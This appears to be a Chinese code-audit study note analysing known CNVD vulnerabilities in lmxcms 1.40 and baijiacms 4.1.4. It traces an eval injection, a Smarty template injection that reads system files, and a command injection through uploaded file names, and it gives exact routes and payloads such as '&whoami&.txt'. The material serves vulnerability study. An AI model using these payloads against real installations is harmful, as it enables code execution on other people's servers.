代码审计-PHP专题MVC开发文件差异对比法模版引擎SSTI注入RCE执行1day分析
代码执行1day-lmxcms1.40版本
1、搜索法-eval函数引发RCE
https://www.cnvd.org.cn/flaw/show/CNVD-2019-05679
/admin.php?m=Acquisi&a=showCjData&id=1&lid=1&cid=1
x;phpinfo();//
这里有一个eval函数,可以将传入的值以php代码执行,这里的data传入到$temdata里面,以GET形式或许其中的cid,我们追踪一下caijiDataOne这个方法
我们能看到这个方法,似乎是一个sql注入,我们传入$id这个变量
这里oneModel执行sql语句
路由地址
/admin.php?m=Acquisi&a=showCjData&id=1&lid=1&cid=1
x;phpinfo();//
这里是能查询到的,尝试构造
结果会出现这样,我们要提前在数据库中写入x;phpinfo()://
然后再构造路由进行访问
对于data的内容来说,x;phpinfo();就是将其传入到eval函数中,拼接成eval($data=x;phpinfo();//;)
$temdata=select * from lmx_cj_data where id=1
$temdata['data']=1;phpinfo();//
eval('$data = '.$tamdata['data'].';');
最后拼接的结果就是
$data = 1;phpinfo();//;
2、功能法-Smarty模版SSTI引发RCE
https://www.cnvd.org.cn/flaw/show/CNVD-2019-05678
TemplateAction.class.php
<{php}>phpinfo();<{/php}>
<{include file='C:/Windows/win.ini'}>
c盘文件内容读取成功,也可以rce
或者进行rce
3、对比法拿0day-1.41版本
UltraCompare BCompare WinMerge
对比工具
为了修复版本漏洞从而发现增添了新的代码
CNVD-命令执行1day-baijiacms4.1.4版本
https://www.cnvd.org.cn/flaw/show/CNVD-2021-12800
搜索法:system->common.inc.php->file_save->setting.php
条件:
1、$extention=='txt'
2、weixin_verify_file有值
3、$settings['image_compress_openscale']=1
分析路由:
http://127.0.0.1:85/index.php?mod=site&act=manager&do=store&op=display&beid=1
这里manager就是一个目录,然后在web下的store文件,op参数
然后我们在项目里搜索system这个函数,找一下哪个变量可控
我们看到的是两个
不过这里能看到第一个变量是固定变量,用到的intval,类型转换int类型,这个变量就是个数字,就是$scal,跑路
这个参数是这个方法的第四个参数,我们看看谁引用了这个方法
不出意外就是这个setting.php了
先看我们这个方法,两个要求,第一个移动文件不报错,第二个这个参数不为空
使用条件:
谁用了file_save函数
第四个参数可控
$settings['image_compress_openscal']不为空
这里看到用到了file_save函数,
file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
file['name']可不可控
这里是可控的,类似于一个文件上传的功能
system\weixin\class\web\setting.php
这是文件路径,那我们就想办法构造路由触发这个文件
http://127.0.0.1:85/index.php?mod=site&act=manager&do=store&op=display&beid=1
http://127.0.0.1:85/index.php?mod=site&act=weixin&do=setting
找到这个表单,f12或者全文件搜索weixin_verify_file
E:\004Web\53\phpstudy_pro\WWW\158\baijiacmsV4-4.1.4\system\manager\template\web\netattach.php
然后开启是1,我们开启这个东西
http://127.0.0.1:85/index.php?mod=site&act=manager&do=netattach
最后一个条件我们也满足了,image_compress_openscale=1
这里就是获取文件名
触发
system('convert'.$quality_command.' '.新建 文本文档.txt.' '.$file_full_path);
system('convert'.$quality_command.' '.&calc&.txt.' '.$file_full_path);
这里文件名后缀必须是txt
开启image_compress_openscale=1
/index.php?mod=site&act=manager&do=netattach
上传weixin_verify_file
/index.php?mod=site&act=weixin&do=setting
触发weixin_verify_file
weixin_verify_file filename=&whoami&.txt